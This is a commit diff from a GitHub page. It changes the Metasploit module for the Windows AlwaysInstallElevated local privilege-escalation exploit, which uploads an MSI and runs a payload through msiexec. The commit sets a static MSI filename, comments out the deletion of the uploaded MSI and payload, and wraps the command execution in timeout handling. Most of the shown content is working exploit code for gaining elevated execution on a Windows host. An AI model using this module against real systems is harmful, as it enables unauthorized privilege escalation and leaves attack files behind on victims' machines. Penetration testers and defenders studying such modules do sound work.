Skip to content

Commit b5b4715

Browse files
committed
Changed to static msi filename
1 parent 76f7abe commit b5b4715

File tree

1 file changed

+10
-5
lines changed

1 file changed

+10
-5
lines changed

modules/exploits/windows/local/always_install_elevated.rb

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,8 @@ def initialize(info={})
3131
file under external/source/exploits/exec_payload_msi/exec_payload.wxs.
3232
This MSI simply executes payload.exe within the same folder.
3333
34-
The MSI may not execute succesfully successive times.
34+
The MSI may not execute succesfully successive times, but may be able to
35+
get around this by regenerating the MSI.
3536
3637
MSI can be rebuilt from the source using the WIX tool with the following commands:
3738
candle exec_payload.wxs
@@ -106,15 +107,15 @@ def cleanup
106107
if @executed
107108
begin
108109
print_status("Deleting MSI...")
109-
file_rm(@msi_destination)
110+
#file_rm(@msi_destination)
110111
rescue Rex::Post::Meterpreter::RequestError => e
111112
print_error(e.to_s)
112113
print_error("Failed to delete MSI #{@msi_destination}, manual cleanup may be required.")
113114
end
114115

115116
begin
116117
print_status("Deleting Payload...")
117-
file_rm(@payload_destination)
118+
#file_rm(@payload_destination)
118119
rescue Rex::Post::Meterpreter::RequestError => e
119120
print_error(e.to_s)
120121
print_error("Failed to delete payload #{@payload_destination}, this is expected if the exploit is successful, manual cleanup may be required.")
@@ -127,7 +128,7 @@ def exploit
127128
if check == Msf::Exploit::CheckCode::Vulnerable
128129
@executed = true
129130

130-
msi_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi"
131+
msi_filename = "exec_payload.msi" # Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi"
131132
msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi")
132133

133134
# Upload MSI
@@ -161,7 +162,11 @@ def exploit
161162

162163
cmd = "msiexec.exe #{logging}#{quiet}/package #{@msi_destination}"
163164
vprint_status("Executing: #{cmd}")
164-
result = cmd_exec(cmd)
165+
begin
166+
result = cmd_exec(cmd)
167+
rescue Rex::TimeoutError
168+
vprint_status("Execution timed out.")
169+
end
165170
vprint_status("MSI command-line feedback: #{result}")
166171
end
167172
end

0 commit comments

Comments
 (0)